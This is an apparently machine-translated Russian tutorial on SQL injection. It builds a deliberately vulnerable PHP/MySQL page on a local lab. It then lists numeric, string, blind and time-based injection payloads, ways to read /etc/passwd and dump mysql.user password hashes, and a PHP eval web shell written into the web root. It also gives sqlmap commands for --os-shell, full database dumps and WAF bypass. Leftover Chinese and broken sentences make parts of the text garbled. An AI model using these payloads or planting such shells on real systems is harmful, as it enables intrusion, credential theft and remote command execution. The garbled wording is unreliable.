SQL-инъекция заключается во вставке команд SQL в веб-форму для отправки или ввода имени домена или строки запроса для запроса страницы и, в конечном итоге, обманом заставляет сервер выполнять вредоносные команды SQL. Он использует существующие приложения для внедрения (вредоносных) команд SQL в систему. способность фонового ядра базы данных выполняться, он может получить базу данных на веб-сайте с уязвимостями безопасности путем ввода операторов SQL в веб-форму вместо выполнения операторов SQL в соответствии с замыслом разработчика.
цифровая инъекция — самый традиционный метод инъекции,Обычно существует в адресе ссылки веб-страницы.,Напримерindex.php?id=
Такой тип,Обычно есть места, которые можно эксплуатировать.,Изучите цифровую версию на примере здесь Несколько советов по инъекциям.
1. Прежде всего, я использую здесь Centos7 и Yum для создания среды LAMP в этой системе.
[root@localhost ~]# yum install -y httpd httpd-devel \
mariadb mariadb-server mysql-devel \
php php-mysql php-common php-gd php-xml
[root@localhost ~]# systemctl restart httpd
[root@localhost ~]# systemctl restart mariadb
[root@localhost ~]# systemctl enable httpd
[root@localhost ~]# systemctl enable mariadb
2. Войдите в MySQL, создайте таблицу данных для тестирования и напишите некоторые данные запроса, используемые для тестирования.
[root@localhost ~]# mysql -uroot -p1233
MariaDB [(none)]> create database lyshark;
Query OK, 1 row affected (0.01 sec)
MariaDB [(none)]> use lyshark;
Database changed
MariaDB [lyshark]> create table lyshark (
-> id int(10) not null,
-> title varchar(1000) not null,
-> text varchar(2000) not null
-> );
Query OK, 0 rows affected (0.02 sec)
MariaDB [lyshark]> create table user(id int ,name char(30),pass char(40));
MariaDB [lyshark]> create table pwd(id int ,name char(30),pass char(40));
insert into `lyshark` (`id`, `title`, `text`) values (1,'admin','hello admin');
insert into `lyshark` (`id`, `title`, `text`) values (2,'lyshark','hello lyshark');
insert into `lyshark` (`id`, `title`, `text`) values (3,'guest','hello guest');
3.Создайте новый в каталоге сайта.index.php
документ,и настроить разрешения,Здесь нужно закрытьSelinux
иIptables
брандмауэр.
[root@localhost ~]# setenforce 0
[root@localhost ~]# iptables -F
[root@localhost ~]#
[root@localhost ~]# vim /var/www/html/index.php
<?php
$id = $_GET['id'];
$connection = mysql_connect("127.0.0.1","root","1233");
mysql_select_db("lyshark",$connection);
$myquery = "select * from lyshark where id=$id";
$result = mysql_query($myquery);
while($row = mysql_fetch_array($result)){
echo "серийный номер: ".$row['id']."<br >";
echo "заголовок: ".$row['title']."<br >";
echo "содержание: ".$row['text']."<br >";
echo "<hr>";
}
mysql_close($connection);
echo «Операторы SQL, выполняемые в фоновом режиме: ".$myquery."<hr>";
#mysql_free_result($result);
?>
[root@localhost ~]# chmod 755 -R /var/www/html/index.php
[root@localhost ~]# chown apache.apache /var/www/html/index.php
[root@localhost ~]# systemctl restart httpd
4. Наконец, посетите эту страницу и передайте параметр, чтобы просмотреть возвращенные результаты.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1
[root@localhost ~]# curl http://127.0.0.1/index.php?id=2
Отправьте одинарные кавычки: Определите, существует ли точка инъекции, отправив одинарные кавычки и основываясь на возвращаемом результате. Если доходность нормальная, это означает, что точка инъекции есть.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1'
SQL-оператор выполнен: select * from lyshark where id=1'
Отправить И решение: Вы также можете использовать оператор and, чтобы определить, есть ли внедрение.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=1
SQL-оператор выполнен: select * from lyshark where id=1 and 1=1
--------------------------------------------------------------
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=0
SQL-оператор выполнен: select * from lyshark where id=1 and 1=0
Вышеупомянутую инъекцию можно найтиand 1=1
Данные возвращены,иand 1=0
тогда нет возврата,Это связано сand 1=1
это истинное состояние,所以返回了иand 1=0
Если результат ложный, результата не будет,Здесь также можно увидеть, что наш оператор инъекции имеет видбаза данные выполнены.
Отправить ИЛИ решение: Вы также можете использовать оператор OR для определения разрешений базы данных.
[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=1
SQL-оператор выполнен: select * from lyshark where id=1 and 1=1
--------------------------------------------------------------
[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=0
SQL-оператор выполнен: select * from lyshark where id=1 and 1=0
Отправить плюс: Вводим параметры1+1
,Проверьте, являются ли возвращаемые данные результатом идентификатора, равного 2.,Обратите внимание, что знак + имеет особое значение в операторах SQL.,Итак, мы собираемся закодировать его по URL,Наконец, это %2b.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1%2b1
SQL-оператор выполнен: select * from lyshark where id=1+1
Отправить минус: Точно так же представление знака минус также может определить точку внедрения, и здесь не требуется никакого преобразования кодировки.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=2-1
SQL-оператор выполнен: select * from lyshark where id=2-1
Определите права ROOT: суждениебаза Имеют ли данные разрешение ROOT. Если результат запроса возвращается, это означает, что у него есть разрешение.
index.php?id=1 and ord(mid(user(),1,1)) = 114
Определите размер разрешений: Если результат возвращается нормально, это означает, что у него есть разрешения на чтение и запись. Если возвращается ошибка, администратору следует понизить версию учетной записи базы данных.
index.php?id=1 and(select count(*) from mysql.user) > 0
Пароль управления запросами: Запросить пароль управления MySQL,Вот#Знак хвоста
,Это означает аннотацию,За описанием следуют комментарии.
index.php?id=1 union select host,user,password from mysql.user# // Версии до 5.6
index.php?id=1 union select host,user,authentication_string from mysql.user# // 5.7 и более поздние версии
Напишите бэкдор на главную станцию: Можно написать бэкдор, состоящий из одного предложения, но каталог должен иметь разрешения на чтение, запись и выполнение в системе Linux.
index.php?id=1 union select 1,1,load_file("/etc/passwd") into outfile '/var/www/html/a.txt'
index.php?id=1 union select null,null,"<?php phpinfo();?>" into outfile '/var/www/html/a.php'
index.php?id=1 union select 1,1,load_file(char(111,116,46,105,110,105))
Часто используемые суждения: Ниже приведены некоторые часто используемые операторы запроса на внедрение, включая конфиденциальные операции, такие как запрос имен хостов.
index.php?id=1 union select 1,1,load_file("/etc/passwd") // Загрузить указанный файл
index.php?id=1 union select 1,1,@@datadir // суждениебаза данных目录
index.php?id=1 union select 1,1,@@basedir // Определите корневой путь установки
index.php?id=1 union select 1,1,@@hostname // Определить имя хоста
index.php?id=1 union select 1,1,@@version // суждениебаза данных Версия
index.php?id=1 union select 1,1,@@version_compile_os // Определить тип системы (Linux)
index.php?id=1 union select 1,1,@@version_compile_machine // Архитектура системы судейства (x86)
index.php?id=1 union select 1,1,user() // Разоблачение пользователей системы
index.php?id=1 union select 1,1,database() // Выставить текущую базу данных
Union Поля запроса: Объединение можно использовать для одного или нескольких наборов результатов SELECT.,Но у него есть состояние,То есть два оператора запроса выбора должны иметь одинаковые столбцы, прежде чем они смогут быть выполнены.,Используя эту функцию, мы можем выполнять сравнительные запросы,То есть, когда мыunion select
的列与它Запрос的列相同час,Страница возвращается в нормальное состояние,исуществоватьandдобавить после1=1 или 1=2
Функция будет рассмотрена позже.
а. Сначала мы угадаем,текущийКоличество полей — 2
когда,Страница вернет ошибку,Это означает, что количество полей таблицы должно быть больше 2.
index.php?id=1 and 1=1 union select 1,2
SQL-оператор выполнен: select * from lyshark where id=1 and 1=1 union select 1,2
б. На основании вышеизложенного,насдобавить поле
,Запрос 1,2,3
Страница отображается нормально,Это показывает, что структура таблицы имеет три поля.
index.php?id=1 and 1=1 union select 1,2,3
SQL-оператор выполнен: select * from lyshark where id=1 and 1=1 union select 1,2,3
в. Для проверки базы. Есть данные 3 поля?,насУвеличение до 4 полей
,открыть страницуПоказать ошибку
,Тогда доказательство должно состоять из 3 полей.
index.php?id=1 and 1=1 union select 1,2,3,4
SQL-оператор выполнен: select * from lyshark where id=1 and 1=1 union select 1,2,3,4
приведенный выше результат,иллюстрироватьКоличество полей — 3.
,Если введенное число больше или меньше количества полей, будет сообщено об ошибке.,ииспользоватьunion select null,null,null
заменять1,2,3
Того же эффекта можно добиться, используя числа..
index.php?id=1 and 1=1 union select null,null,null #
SQL-оператор выполнен: select * from lyshark where id=1 and 1=1 union select null,null,null
Order ByПоля запроса: существоватьSQLОператор предназначен для сортировки указанного столбца набора результатов.,比如нас想让结果集按照第一列排序就是order by 1
Сортировать по второму столбцуorder by 2
И так далее,По этому принципу определяем количество полей,如果насСортировать по столбцу 1
база данныхвернется в нормальное состояние,但是当насСортировать по столбцу 100
,Но столбца 100 не существует в базе данных.,Тем самым сообщая об ошибке.
a.首先наспредполагать
база данныхЕсть 4 поля
,пытатьсяСортировать по строке 4
Обнаружил, что данные не могут быть отображены,Описание меньше 4.
index.php?id=1 order by 4 #
б. Приведенный выше запрос не дает никаких результатов.,Мы запрашиваем 4 поля без возвращаемого значения,Допустим, в таблице меньше четырех полей.,насПродолжить использование 3 тестов
,Результаты были возвращены в это время.
index.php?id=1 order by 3 #
Большинство программ вызывают только первый оператор запроса к базе данных, а затем возвращают данные, запрошенные с помощью совместного запроса, данные, которые мы хотим увидеть, находятся во втором операторе. Если мы хотим увидеть то, что хотим, их два. методы для данных. Первый — вернуть false первому фрагменту данных, а второй — напрямую вернуть нужные данные с помощью операторов SQL.
Первый: мы делаем результат первого запроса всегда ложным,Используяand 0
осознать,Маркировка ниже будет чистой.
index.php?id=1 and 0 union select null,null,null
SQL-оператор выполнен: select * from lyshark where id=1 and 0 union select null,null,null
Второй тип: через оператор limit лимит используется для подкачки в mysql, с помощью которой мы можем получить нужные нам данные из запрошенных данных.
index.php?id=1 union select null,null,null limit 1,1
SQL-оператор выполнен: select * from lyshark where id=1 union select null,null,null limit 1,1
Приведенный выше возврат результата также пуст, поскольку используется значение null, поэтому возвращаемый результат по-прежнему равен нулю.
Проверьте текущее имя базы данных: 可以直接использоватьMySQLВстроенная функцияdatabase()
来Запрос得到текущийиспользовать的база данных.
index.php?id=1 and 0 union select 1,1,database()
Проверьте все имена баз данных: Используйте следующий оператор, чтобы получить всю базу данныхимя,and 1=0
Функция заключается в том, чтобы не отображать первую строку.
index.php?id=1 and 0 union select 1,1,schema_name from information_schema.schemata
Проверьте указанное имя базы данных: Он используется для запроса имени первой базы данных, но с этим методом записи есть небольшая проблема, продолжайте читать.
index.php?id=1 union select null,null,schema_name from information_schema.schemata limit 0,1
Приведенные выше результаты запроса,Имя базы данных не отображается, но отображаются результаты первого оператора.,существоватьunionДобавить раньшеand 0
Он будет отображаться.
index.php?id=1 and 0 union select null,null,schema_name from information_schema.schemata limit 0,1
Следующие методы запроса,под контролемlimit 0,1,2,3....
,Мы можем получить указанное количество имен баз данных.
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 1,1
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 2,1
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 3,1
Имя таблицы поиска(1): Используяgroup_concat
可以返回Запрос的所有结果,Потому что нам нужно определить нужные нам конфиденциальные данные посредством именования.
index.php?id=1 and 0 union select 1,1,group_concat(table_name)
> from information_schema.tables where table_schema='lyshark' #checklyshark библиотека серединаимя таблицысказать
Имя таблицы поиска (2): Аналогичным образом вы также можете использовать следующий оператор, чтобы найти таблицы в базе данных, но этот метод запроса будет отображать результаты запроса в отдельных строках.
index.php?id=1 and 0 union select 1,1,table_name
> from information_schema.tables where table_schema='lyshark' #checklyshark библиотека серединаимя таблицысказать
Поля в справочной таблице (1):
index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
> from information_schema.columns
> where table_schema='lyshark' and table_name='lyshark'
Поля в справочной таблице (2): Вы также можете просмотреть поля в пользовательской таблице библиотеки MySQL и выполнить запрос.
index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
> from information_schema.columns
> where table_schema='mysql' and table_name='user'
Поля в справочной таблице (3):
index.php?id=2 union select null,null,column_name
> from information_schema.columns
> where table_schema='mysql' and table_name='user'
Посмотрите данные в таблице: Чтобы запросить данные в таблице, мы можем использовать следующие три метода запроса.
index.php?id=1 union select Host,User,Password from mysql.user
index.php?id=1 and 1=1 union select 1,1,group_concat(id,title,text) from lyshark
index.php?id=1 and 1=1 union select 1,1,group_concat(Host,User,Password) from mysql.user
Строка или строка состоит из чисел、письмо、Строка символов, состоящая из символов подчеркивания,Обычно записывается какs="a1 a2···an "(n>=0)
,Это тип данных, который представляет текст на языках программирования.,Внедрение символов заключается в том, чтобы обрабатывать входные параметры как строки в базе. данные спрашивайте,Внедрение символов заключено в одинарные кавычки в операторе sql.,Далее рассмотрим оператор SQL.
$query="select first_name from users where id='$_GET['id']'";
Приведенный выше оператор SQL предназначен для поиска соответствующего first_name в таблице пользователей на основе идентификатора, введенного пользователем.,正常пользователь当然会输入Например1,2
ждать,Но если кто-то введет следующее вредоносное утверждение, произойдет инъекция.
1' union select database() #;
В этом случае результат выполнения этого SQL-запроса в фоновом режиме станет следующим.
select first_name from users where id='1'union select database()#'
Как и выше, мы можем не только получить first_name с id=1, но и получить соответствующую информацию о текущей базе данных. Это то, чего разработчики не ожидали. По сути, это простой пример SQL-инъекции. разработчик вводит информацию пользователю. Фильтрация ввода не является строгой, что позволяет пользователям управлять базой данных путем ввода операторов SQL, что приводит к уязвимостям внедрения SQL.
Короче говоря, символьная SQL-инъекция означает, что параметры URL-адреса с уязвимостями SQL-инъекции являются строковыми типами (которые должны быть представлены одинарными кавычками). Ключом к символьной SQL-инъекции является закрытие одинарных кавычек, как показано ниже. примеры:
select * from tables where idproduct=’ 13’;
select * from tables where name=’ fendo’;
select * from tables where data=’ 01/01/2017’;
1. Прежде всего, мы взяли за основу оригинал,新建一个документ/var/www/html/index.php
.
vim /var/www/html/index.php
<?php
$name=$_GET['username'];
$conn=mysql_connect("127.0.0.1","root","1233");
mysql_select_db('fendo',$conn);
$sql="select * from user where username = '$name'";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "пользовательID:".$row['id']."<br >";
echo "пользовательимя:".$row['username']."<br >";
echo "пользователь密码:".$row['password']."<br >";
echo "пользователь邮箱:".$row['email']."<br >";
echo "<hr>";
}
mysql_close($conn);
echo "<hr>";
echo «Операторы SQL, выполняемые в фоновом режиме: "."$sql <br >";
?>
2. Войдите в базу данных, создайте несколько табличных структур и вставьте несколько фрагментов тестовых данных.
[root@localhost ~]# mysql -uroot -p
MariaDB [(none)]> create database fendo;
MariaDB [(none)]> use fendo;
MariaDB [fendo]> create table user(
-> id int not null,
-> username varchar(100) not null,
-> password varchar(100) not null,
-> email varchar(200) not null
-> );
Query OK, 0 rows affected (0.02 sec)
insert into user(id,username,password,email) values(1,'admin','fendo','10010@qq.com');
insert into user(id,username,password,email) values(2,'guest','goods','10020@qq.com');
insert into user(id,username,password,email) values(3,'lyshark','nice','10030@qq.com');
3. Перезапустите службу Apache и посетите страницу, чтобы проверить эффект.
[root@localhost ~]# systemctl restart httpd
[root@localhost ~]# curl http://127.0.0.1/index1.php?username=lyshark
Обнаружение точек инъекции: Метод обнаружения символьного типа аналогичен методу обнаружения целочисленного типа, но данные необходимо закрыть вручную с помощью операторов SQL, как показано ниже.
index.php?username=admin' and '1'='1
index.php?username=admin' and '1'='0
index.php?username=admin' and '1'=1--'
index.php?username=admin' or '1'=1--'
Угадайте длину поля: 接着нас Используяunion select
заявление,Угадай базу длина столбца данных, длина поля.
index.php?username=admin ' union select 1,1,1 and '1'='1 // Выдается ошибка, поле описания больше 3
index.php?username=admin ' union select 1,1,1,1 and '1'='1 // Отображается правильно, таблица имеет 4 поля.
index.php?username=admin ' union select 1,1,1,1' // Это также может завершить закрытие оператора
index.php?username=admin ' union select null,null,null,null'
Угадайте конфиденциальную информацию: 接着заменять上面заявлениесередина的1,1,1,1
заменять为MySQLВыполнить функцию,Угадайте конфиденциальную информацию.
index.php?username=admin' union select database(),1,@@version,@@datadir'
index.php?username=admin' union select database(),1,@@version,@@datadir and '1'='0
Угадайте, существует ли таблица: Угадайте, существует ли указанная таблица. После выполнения оператора не сообщается об ошибке, что означает, что пользовательская таблица существует.
index.php?username=admin'+and+(select+count(*)+from+user)>0+and+''=' // Пользователь таблицы существует
index.php?username=admin'+and+(select+count(*)+from+lyshark)>0+and+''=' // Таблица lyshark не существует
Проверьте все имена таблиц: проходить以下заявление,Запросfendo
база данныхсередина存существовать的所有имя таблицысказать.
index.php?username=admin' union select 1,1,1,group_concat(table_name)
> from information_schema.tables where table_schema="fendo"'
Поля в справочной таблице: Запросfendo
база данныхсередина,user
表середина的字段,и отображается.
index.php?username=admin' union select 1,1,1,group_concat(column_name)
> from information_schema.columns where
> table_schema="fendo" and table_name="user"'
Посмотрите данные в таблице: Запросfendo
база данныхсередина,user
表середина指定字段的数据,и отображается.
index.php?username='admin' union select 1,group_concat(password),1,1 from user'
index.php?username='admin' union select id,username,password,email from user'
Вышеупомянутые примеры: Внедрение Обычно используемые методы символов, другие методы внедрения мало чем отличаются от целочисленных типов. В целях экономии места я не буду продолжать писать здесь. Вы можете использовать базовые функции, предоставляемые MySQL, чтобы проверить это самостоятельно.
Угадай версию: Если он возвращает нормальный результат, это означает, что версия базы данных равна 5. Если он возвращает ошибку, это означает, что она больше или меньше 5.
index.php?id=1 and left(version(),1)=5# // Вернитесь в нормальное состояние, объясните базу версия данных – 5
index.php?id=1 and left(version(),1)=4# // Ошибка возврата, база описания версия данных не 5
Угадайте название библиотеки: Посредством слепого внедрения единицы каждой базы данных угадываются шаг за шагом и, наконец, объединяются вместе.
index.php?id=1 and (length(database())) >=4 // Угадайте, сколько строк в названии библиотеки
index.php?id=1 and (left(database(),1)) >= 'd' # // Угадайте, что первая левая цифра названия библиотеки — d.
index.php?id=1 and (left(database(),2)) >= 'dv' # // Угадайте, что первые две цифры слева от названия библиотеки — dv.
index.php?id=1 and (left(database(),3)) >= 'dvw' # // Угадайте, что первые 3 цифры слева от названия библиотеки — dvw.
index.php?id=1 and (left(database(),4)) >= 'dvwa'# // Угадайте, что первые 4 цифры слева от названия библиотеки — dvwa.
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),1,1))=100 # // Первая позиция – d
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),2,1))=118 # // Вторая позиция — v.
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),3,1))=119 # // Третья позиция – w
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),4,1))=97 # // 4-я позиция – это
mid ((a,b,c) // Перехватить позиции от b до c из строки a
ord() // Преобразуйте результат в код ascii и сравните его со следующим числовым значением.
CAST(DATABASE() AS CHAR) // Если данные получены, верните
Угадайте название таблицы: Если веб-страница возвращается нормально, это означает, что эта таблица существует. Если веб-страница возвращается ненормально, это означает, что она не существует.
чиновник: and (select count(*) from название таблицы) >=0
index.php?id=1 and (select count(*) from mysql.user) >=0 // Таблица mysql.user существует.
index.php?id=1 and (select count(*) from lyshark) >=0 // Таблица Lyshark существует
Угадай поле: Если веб-страница возвращается нормально, это означает, что есть угаданное поле. Если это ненормально, вам нужно продолжить угадывание.
чиновник: and (select count (имя поля) from Угаданное название таблицы)>=0
index.php?id=1 and (select count(id) from users) >=0 // Вернитесь к нормальному состоянию, указав, что поле id существует.
index.php?id=1 and (select count(name) from users) >=0 // Возврат ненормальный, и поле имени не существует.
index.php?id=1 and (select count(*) from lyshark) >=3 #-- // Возвращает количество записей в таблице
Угадайте имя пользователя: Обнаружение нескольких указанных пользователей также может быть выполнено с помощью обычных символов, и использование других функций аналогично.
index.php?id=1' and (length(user())) >=14 # // Угадай базу длина имени пользователя
index.php?id=1' and (select user() like 'root%') # // угадай имя пользователя
index.php?id=1' and (select user() regexp '^[a-z]') # // Угадай начало от А до Я
index.php?id=1' and (select user() regexp '^r') # // Первый из них - р.
index.php?id=1' and (select user() regexp '^ro') # // Вторая цифра — о.
index.php?id=1' and (select user() regexp '^root') # // и так далеепредполагатьчетверка лучших
Отсроченная инъекция: проходитьsleep(5)
Метод задержки,Мы также можем определить, есть ли точка инъекции.
index.php?id=1 and sleep(5) #
index.php?id=1 and sleep(5) order by 3 # // Если полей 3, будет задержка 5 секунд.
index.php?id=1 and select if(length(user())=0,sleep(3),1) # //Если user=0, задержка 3 секунды
index.php?id=1 and if(hex(mid(user(),1,1))=100,sleep(3),1) # // Первый символ = d, далее задержка 3 секунды.
index.php?id=1 and if(hex(mid(user(),1,1))=118,sleep(3),1) # // Второй символ = v задержится на 3 секунды.
Команда обнаружения:
sqlmap -u "./index.php?id=1" -v 3 # Показать полезную нагрузку атаки
sqlmap -u "./index.php?id=1" --level=3 # Укажите уровень обнаружения
sqlmap -u "./index.php?id=1" --privileges # Проверьте все права пользователя
sqlmap -u "./index.php?id=1" --privileges root # Проверьте права root-пользователя
sqlmap -u "./index.php?id=1" --all # Искать по всей базе данных
sqlmap -u "./index.php?id=1" --hostname # Запросить текущее имя хоста
sqlmap -u "./index.php?id=1" --is-dba # Определить root-права
sqlmap -u "./index.php?id=1" --users # база перечисления данныхпользователь
sqlmap -u "./index.php?id=1" --random-agent # Случайный пользовательский агент
sqlmap -u "./index.php?id=1" --fingerprint # Выполнить проверку отпечатков пальцев версии СУБД
sqlmap -u "./index.php?id=1" --output-dir="" # Пользовательский выходной каталог
sqlmap -u "./index.php?id=1" --file-read="" # прочитать файл
sqlmap -u "./index.php?id=1" --file-write="" # операция записи
sqlmap -u "./index.php?id=1" --os-cmd="net user" # выполнить команду
sqlmap -u "./index.php?id=1" --os-shell # Интерактивное выполнение команд
sqlmap -u "./index.php?id=1" --sql-query="" # Оператор SQL выполнен
sqlmap -u "./index.php?id=1" --cookie="" # Указанный файл cookie
sqlmap -u "./index.php?id=1" --temper="" # Укажите скрипт фильтра
Команда удаления:
sqlmap -u "./index.php?id=1" --identify-waf # Проверьте, есть ли WAF
sqlmap -u "./index.php?id=1" --current-db # Запросить текущую базу данных
sqlmap -u "./index.php?id=1" --current-user # Запросить текущее имя хоста
sqlmap -u "./index.php?id=1" --users # Запросить все имена пользователей
sqlmap -u "./index.php?id=1" --dbs # Перечислить все базы данных
sqlmap -u "./index.php?id=1" --tables # Перечислить все таблицы
sqlmap -u "./index.php?id=1" -D "mysql" --tables # Получить таблицу в библиотеке MySQL.
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # Получить имя столбца таблицы mysql.host
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # Сохраните mysql.host на локальном компьютере.
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # Сними все штаны
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
Внедрение файлов cookie: level >=2Используйте внедрение файлов cookie
,level >=3использоватьUser-agent/Refererинъекция
.
sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #Определяем точку инъекции
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #Предполагатьбаза данныхимя
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #угадай имя таблицы
sqlmap -u "./index.php" -v 3 --cookie id=1 -T имя таблицы --clumns --level 2 #угадай поле
sqlmap -u "./index.php" -v 3 --cookie id=1 -T имя таблицы --clumns --dump --level 2 #угадай контент
ПОСТ-инъекция:
1. Откройте целевой адрес в браузере. http:// www.xxx.com /Login.asp
2. Настройте прокси-сервер Burp (127.0.0.1:8080) для перехвата запросов.
3. Нажмите кнопку «Отправить» в форме входа.
4. В это время Burp перехватит наш POST-запрос на вход в систему.
5. Преобразуйте этот запрос на публикацию скопировать в txt и запишите содержимое. id=1&Submit=Submit
sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"
Отсроченная инъекция:
Sqlmap -u "http://127.0.0.1/index.php" --dbs --delay 1
sqlmap -u "http://127.0.0.1/index.php" --dbs --safe-freq 3
Обход WAF:
sqlmap -u "http://127.0.0.1/index.php" --thread 10 --identify-waf
sqlmap -u "http://127.0.0.1/index.php" --thread 10 --check-waf
sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py"
sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py,space2dash.py"
Настройка среды анализа SQL-инъекций,Сначала убедитесь,MySQLВерсия为MySQL 5.5
Вот и все,И импортируйте базу ниже Скрипт данных автоматически создает соответствующую базу данныхдокумент.
drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists users;
create table users(
id int(10) primary key not null,
username varchar(100) not null,
password varchar(100) not null,
usremail varchar(100) not null,
usertype int(1) default 0
);
insert into lyshark.users(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com");
insert into lyshark.users(id,username,password,usremail) VALUES(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com");
insert into lyshark.users(id,username,password,usremail) VALUES(3,"guest",md5("12345678"),"guest@126.com");
insert into lyshark.users(id,username,password,usremail) VALUES(4,"Dumb",md5("458322456"),"Dumb@blib.com");
insert into lyshark.users(id,username,password,usremail) VALUES(5,"Angelina",md5("GIs92834"),"angelina@mkic.com");
insert into lyshark.users(id,username,password,usremail) VALUES(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com");
insert into lyshark.users(id,username,password,usremail) VALUES(7,"batman",md5("suw&*("),"batmain@gmail.com");
insert into lyshark.users(id,username,password,usremail) VALUES(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com");
insert into lyshark.users(id,username,password,usremail) VALUES(9,"nacki",md5("fsie92*("),"cbooks@emial.com");
insert into lyshark.users(id,username,password,usremail) VALUES(10,"wuhaxp",md5("sadwq"),"cookiec@345.com");
Затем установите егоPHP7.0
或Вот и все Версия的环境,и создайте файл index.php,Напишите следующий тестовый код,база Пожалуйста, измените пароль данных самостоятельно.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="gbk">
<title>SQL инъекция测试代码</title>
</head>
<?php
$connect = mysqli_connect("localhost","root","123456","lyshark");
if($connect)
{
$id = $_GET['id'];
if(isset($id))
{
$sql = "select * from users where id='$id' limit 0,1";
$query = mysqli_query($connect,$sql);
$row = mysqli_fetch_array($query);
}
}
?>
<body>
<table border="1">
<tr>
<th>серийный номер</th><th>пользователь账号</th><th>пользователь密码</th><th>пользователь邮箱</th><th>Разрешения</th>
</tr>
<tr>
<td><?php echo $row['id']; ?></td>
<td><?php echo $row['username']; ?></td>
<td><?php echo $row['password']; ?></td>
<td><?php echo $row['usremail']; ?></td>
<td><?php echo $row['usertype']; ?></td>
</tr>
</table>
<?php echo '<hr><b> Бэкэнд выполняет операторы SQL: </b>' . $sql; ?>
</body>
</html>
Определите точку инъекции: Существует множество форм оценки точки инъекции. Мы можем судить, используя такие символы, как и/или/+-.
index.php?id=1' and 1=1 --+ # Отправить и оценить инъекцию
index.php?id=1' and 1=0 --+
index.php?id=1%2b1 # Отправить плюс подписать решение
index.php?id=2-1 # Отправить знак минуса для инъекции суждения
index.php?id=1 and sleep(5) # Отложенное суждение, такое как точка
Часто используемые суждения:
# -----------------------------------------------------------------------------------
# Определите разрешение ROOT: определите, имеет ли база данных разрешение ROOT. Если возвращается результат запроса, это означает, что у нее есть разрешение.
index.php?id=1' and ord(mid(user(),1,1)) = 114 --+
# -----------------------------------------------------------------------------------
# Определите размер разрешений: Если результат возвращается нормально, это означает, что у вас есть права на чтение и запись. Если возвращается ошибка, администратор должен предоставить базу. данные аккаунта понижены.
index.php?id=1' and(select count(*) from mysql.user) > 0
# -----------------------------------------------------------------------------------
# Запросите пароль управления: Запросите пароль управления MySQL. Предупреждающий знак в конце # здесь означает символ комментария, указывающий, что все, что следует за ним, является комментарием.
index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+ // Версии до 5.6
index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+ // 5.7 и более поздние версии
# -----------------------------------------------------------------------------------
# Напишите предложение на основной сайт: Можно написать бэкдор, состоящий из одного предложения, но каталог должен иметь разрешения на чтение, запись и выполнение в системе Linux.
index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+
index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+
index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+
# -----------------------------------------------------------------------------------
# Используйте движок MySQL, чтобы написать предложение: Используя механизм хранения MySQL, напишите предложение как MySQL
create table shell(cmd text);
insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');
select cmd from shell into outfile('/var/www/html/eval.php');
# -----------------------------------------------------------------------------------
# Часто используемые операторы оценки: Ниже приведены некоторые часто используемые операторы запроса на внедрение, включая конфиденциальные операции, такие как запрос имен хостов.
index.php?id=1' union select 1,1,load_file("/etc/passwd") // Загрузить указанный файл
index.php?id=1' union select 1,1,@@datadir // суждениебаза данных目录
index.php?id=1' union select 1,1,@@basedir // Определите корневой путь установки
index.php?id=1' union select 1,1,@@hostname // Определить имя хоста
index.php?id=1' union select 1,1,@@version // суждениебаза данных Версия
index.php?id=1' union select 1,1,@@version_compile_os // Определить тип системы (Linux)
index.php?id=1' union select 1,1,@@version_compile_machine // Архитектура системы судейства (x86)
index.php?id=1' union select 1,1,user() // Разоблачение пользователей системы
index.php?id=1' union select 1,1,database() // Выставить текущую базу данных
Union Поля запроса: Объединение можно использовать для одного или нескольких наборов результатов SELECT.,Но у него есть состояние,То есть два оператора запроса выбора должны иметь одинаковые столбцы, прежде чем они смогут быть выполнены.,Используя эту функцию, мы можем выполнять сравнительные запросы,То есть, когда мыunion select
的列与它Запрос的列相同час,Страница возвращается в нормальное состояние,исуществоватьandдобавить после1=1 или 1=2
Функция будет рассмотрена позже.
